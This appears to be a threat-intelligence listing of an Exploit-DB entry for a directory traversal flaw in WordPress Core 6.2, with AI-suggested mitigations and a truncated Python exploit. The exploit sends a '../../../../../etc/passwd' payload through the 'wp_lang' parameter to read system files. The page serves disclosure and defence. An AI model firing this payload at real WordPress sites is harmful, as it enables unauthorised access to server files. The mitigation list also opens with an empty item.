Skip to main content
ExploitPublished

WordPress Core 6.2 · Directory Traversal

Source Exploit-DB RSS Feed

0

Mentioned vulnerabilities

Severity
Medium

Rated by Threat Radar

Data as of 11 Jun 2025, 21:10 UTC

What to do

AI-suggested

1. 2. Input validation and filtering: Implement web application firewalls (WAFs) with rules specifically designed to detect and block directory traversal attempts, especially targeting the 'wp_lang' parameter. 3. Restrict file system permissions: Harden server configurations to ensure that the web server process has minimal permissions, preventing access to sensitive files like '/etc/passwd'. 4. Disable or restrict unnecessary parameters: If feasible, disable or restrict the 'wp_lang' parameter or any other parameters that accept user input for file paths. 5. Monitor logs: Enable detailed logging and monitor for suspicious requests containing directory traversal patterns (e.g., '../') to detect and respond to exploitation attempts early. 6. Network segmentation: Isolate WordPress servers from critical internal systems to limit the impact of a successful exploit. 7. Incident response readiness: Prepare and test incident response plans specific to web application compromises involving directory traversal vulnerabilities. 8. Use security plugins: Employ reputable WordPress security plugins that offer additional layers of protection against common web attacks.

Description

WordPress Core 6.2 - Directory Traversal

Indicators of compromise

Exploit source code

Exploit code for WordPress Core 6.2 - Directory Traversal1,237 characters
# Exploit Title: WordPress Core 6.2 - Directory Traversal
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Version: = 6.2
# Tested on: Win, Ubuntu
# CVE : CVE-2023-2745



import requests
from colorama import init, Fore, Style
init(autoreset=True)
url = input("E.G https://example.com/wp-login.php : ")
payload = '../../../../../etc/passwd'
response = requests.get(url, params={'wp_lang': payload}…

References

Community reviews

Loading reviews…